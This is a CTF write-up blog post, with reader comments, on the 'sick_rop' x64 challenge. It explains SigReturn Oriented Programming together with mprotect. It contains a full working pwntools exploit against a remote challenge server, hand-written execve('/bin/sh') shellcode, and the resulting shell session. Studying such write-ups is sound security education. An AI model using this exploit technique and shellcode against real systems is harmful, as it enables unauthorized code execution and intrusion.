Hi everyone! This is a SigReturn Oriented Programming (SROP) challenge on an x64 Linux binary file on 15 August 2020. We need to use SYS_mprotect before allowing on-stack shellcode execution to obtain a shell on the server. Let’s get started!
1. Files provide
- sick_rop (x64 ELF binary)
2. Tools required
3. Security settings
$ ~/.local/bin/pwn checksec ./sick_rop [*] '/home/kali/Desktop/sick_rop' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
4. Overview
The program is very small as there are only a few functions available as seen in IDA.

The start() contains an infinite WHILE loop which will keep calling vuln().

Inside vuln(), we can see there is a buffer overflow vulnerability as the size of register r10 is 0x20 bytes but read() allows 0x300 bytes of input.

Besides that, based on the result of checksec, we know that we have to use Return Oriented Programming (ROP) since NX is enabled, preventing stack execution. However, many functions like puts(), printf(), etc is not available. Moreover, the write() in this binary isn’t from libc and it is based on syscall.

Therefore, this removes the possibility of using ROP for ret2libc. However, as syscalls are available, we can use SigReturn Oriented Programming (SROP). We can also search for syscall using the ROPgadget tool.
$ ROPgadget --binary ./sick_rop --only "syscall" Gadgets information ============================================================ 0x0000000000401014 : syscall Unique gadgets found: 1
5. Short explanation of SROP
SROP is useful when we lack any of the following conditions for ROP:
- Printing functions such as printf(), puts(), etc to leak libc ASLR address.
- Lack of gadgets to form usual ROP
With SROP, we will jump to a gadget with syscall to call rt_sigreturn() when RAX is set to 0xA. rt_sigreturn() helps to restore original values of registers such as RAX, RDX, RSP, RIP, etc after the end of the “context switch”. These values were stored on the stack during a signal interruption. As a result, we can exploit its functionality to help us set any values for the registers without worrying if there are gadgets to set them during ROP. Luckily, pwntools have a function for us to easily craft the fake stack for rt_sigreturn().
6. SROP with SYS_mprotect
6.1 Reason for using SYS_mprotect
A quick Google search will allow us to find lots of SROP write-up examples. However, most of them require the “/bin/sh” string to be in the binary. However, this binary does not have that string (does not even have any strings). Thus, we can use SYS_mprotect to modify a location’s permission to Read-Write-Execution (RWX) so that we can write a shellcode to that location and execute it. This is a good article to refer to ob SROP using SYS_mprotect: here.

6.2 Creatively setting RAX’s value
I tried to search for a “pop rax” gadget so that we can set our RAX value for syscalls. However, ROPgadget showed that it is not available.
$ ROPgadget --binary ./sick_rop --only "pop rax" Gadgets information ============================================================ Unique gadgets found: 0
As vuln()‘s return value in RAX is based on the length of our input string due to the last function in vuln() being write() (write() returns the number of bytes written), we can jump/”return” to vuln() again during ROP to set the RAX value. Basically, we are treating the vuln() as a gadget to help us the value of RAX.

... # set the value of RAX def set_rax(num): # need to -1 due to '\n' will be include in read() r.sendline(b'A' * (num - 1)) r.recv() # p64(binary.symbols['vuln']) is to set RAX to call SYS_sigreturn. payload = padding + p64(binary.symbols['vuln']) + p64(syscall_addr) r.sendline(payload) r.recv() # set to 0xF so that calling syscall will call rt_sigreturn. set_rax(0xF)
To visualize the code above, below is a simplified diagram of the stack showing how is the stack like before executing “ret” to jump to the next gadget.

6.3 Choosing location to write shellcode
We can use rt_sigreturn(), to set the RSP value and call vuln() again for buffer overflow, write shellcode to shell, jump to it, and execute the shellcode to obtain a shell in the server. However, there are a few criteria for our new memory space:
- Must be within user address space (0x0 to 0x0FFFFF’FFFFFFFF) due to mprotect()‘s condition.
- The new RSP value must point to vuln() so that the binary will jump/”ret” to vuln() after jumping/”returning” to rt_sigreturn() for our next buffer overflow for shellcode writing and executing.
To satisfy the second condition, we can use pwndbg’s search feature to find a memory location that points to vuln()‘s address.
pwndbg> search -p 0x40102E
sick_rop 0x4010d8 adc byte ptr cs:[rax], al
pwndbg> x/wx 0x4010d8
0x4010d8: 0x0040102e
We can see that it is somewhere within the binary that points to vuln() which this pointer is only set after the binary executes. Since ASLR/PIE is disabled as shown by checksec, we can use this location as our new RSP value.
As the RSP location is within the binary, I decided to let mprotect() modify the RWX permission from the start of the binary to a random location as long as it is after 0x4010D8 and after our shellcode, since we need to let the space be executable so that our shellcode can execute.
####### To call mprotect() to allow writing of shellcode ####### frame = SigreturnFrame() frame.rax = constants.SYS_mprotect # All arguments for mprotect syscall frame.rdi = 0x400000 # Virtual address of binary frame.rsi = 0x10000 # length of space to change its protection frame.rdx = 0x7 # set protection to allow RWX # new RSP must be a pointer to vuln() to jump to it for the next BoF frame.rsp = vuln_ptr # Address of Syscall Instruction frame.rip = syscall_addr log.info("Changing permission for this address for shellcode: " + hex(frame.rdi)) log.info("New RSP address: " + hex(frame.rsp))
6.4 Crafting x64 Linux shellcode
I tried a number of shellcodes from exploitdb but none of them seems to work. Thus, I decided to create my own x64 Linux shellcode which is rather easy. You can refer to this table for the registers argument to set for the shellcode.
mov rdi, 0x68732f6e69622f ; "\bin\sh\x00" in reverse due to little-endian push rdi mov rdi, rsp ; set filename address to stack's address mov rax, 0x3b ; so that execve will be called later xor rsi, rsi ; set argv to NULL xor rdx, rdx ; set envp to NULL syscall
We can now exploit vuln() to write shellcode and jump to it to execute the shellcode.
vuln_ptr = 0x4010d8
# vuln_ptr+0x10: Location of shellcode
payload = padding + p64(vuln_ptr+0x10) + assembled_shellcode
r.sendline(payload)
Note that the shellcode is located at 0x4010D8+0x10 because:

Therefore we need to set the return address to 0x4010E8 so that the binary will jump to the shellcode and executes it.
7. Craft shellcode and obtain the flag
Below contains my final crafted exploit, sick_rop_exploit.py:
# ref: https://hackmd.io/@imth/SROP
from pwn import *
context.arch = "amd64"
#context.log_level = 'debug'
r = remote("46.101.78.118", 31479)
#r = gdb.debug("./sick_rop")
#r = process("./sick_rop")
binary = ELF("./sick_rop")
# set the value of RAX
def set_rax(num):
# need to -1 due to '\n' will be include in read()
r.sendline(b'A' * (num - 1))
r.recv() # wait for input's echo due to write()
# buffer space + RSP space
OFFSET_TO_RET = 0x20 + 0x8
padding = b'A' * OFFSET_TO_RET
# ROPgadget --binary ./sick_rop --only "syscall"
syscall_addr = 0x401014
# pwndbg> search -p 0x40102E
vuln_ptr = 0x4010d8
shellcode = """mov rdi, 0x68732f6e69622f
push rdi
mov rdi, rsp
mov rax, 0x3b
xor rsi, rsi
xor rdx, rdx
syscall"""
assembled_shellcode = asm(shellcode)
####### To call mprotect() to allow writing of shellcode #######
frame = SigreturnFrame()
frame.rax = constants.SYS_mprotect
# All arguments for mprotect syscall
frame.rdi = 0x400000 # Virtual address of binary
frame.rsi = 0x10000 # length of space to change its protection
frame.rdx = 0x7 # set protection to allow RWX
# new RSP must be a pointer to vuln() to jump to it for the next BoF
frame.rsp = vuln_ptr
# Address of Syscall Instruction
frame.rip = syscall_addr
log.info("Changing permission for this address for shellcode: " + hex(frame.rdi))
log.info("New RSP address: " + hex(frame.rsp))
# p64(binary.symbols['vuln']) is to set RAX to call SYS_sigreturn.
payload = padding + p64(binary.symbols['vuln']) + p64(syscall_addr) + bytes(frame)
r.sendline(payload)
r.recv() # wait for input's echo due to write()
# set to 0xF so that calling syscall will call rt_sigreturn.
set_rax(0xF)
####### Input shellcode on stack and execute it #######
# vuln_ptr+0x10: Location of shellcode after BoF
payload = padding + p64(vuln_ptr+0x10) + assembled_shellcode
r.sendline(payload)
r.recv() # wait for input's echo due to write()
r.interactive()
$ python3 ./sick_rop_exploit.py [+] Opening connection to 46.101.78.118 on port 31479: Done [*] '/home/kali/Desktop/sick_rop' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Changing permission for this address for shellcode: 0x400000 [*] New RSP address: 0x4010d8 [*] Switching to interactive mode $ ls flag.txt run_challenge.sh sick_rop $ cat flag.txt HTB{why_st0p_wh3n_y0u_cAn_s1GRoP!?} $ [*] Interrupted [*] Closed connection to 46.101.78.118 port 31479
I hope this article has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂
Could you explain why you put the syscall address after the address of vuln? wouldn’t the stack frame get popped off after it returns to vuln? how would it end up going back to the syscall instruction?
Thanks, and I am a big fan of your writeups
LikeLiked by 1 person
Hi! Do you mean for this line:
payload = padding + p64(binary.symbols[‘vuln’]) + p64(syscall_addr) + bytes(frame)
Basically, it is a normal ROP. You can treat vuln() as a gadget for us to set RAX. Hence the binary will “return to” vuln() to set our RAX value since we have overwritten the original return address with vuln()’s address. syscall_addr will still be on the stack as our next gadget to jump/return to once the gadget vuln() executes its RET instruction.
I have modified this article by including a diagram/image for this part. Hope it will be helpful to you. 🙂
By the way, thank you for your support!
LikeLike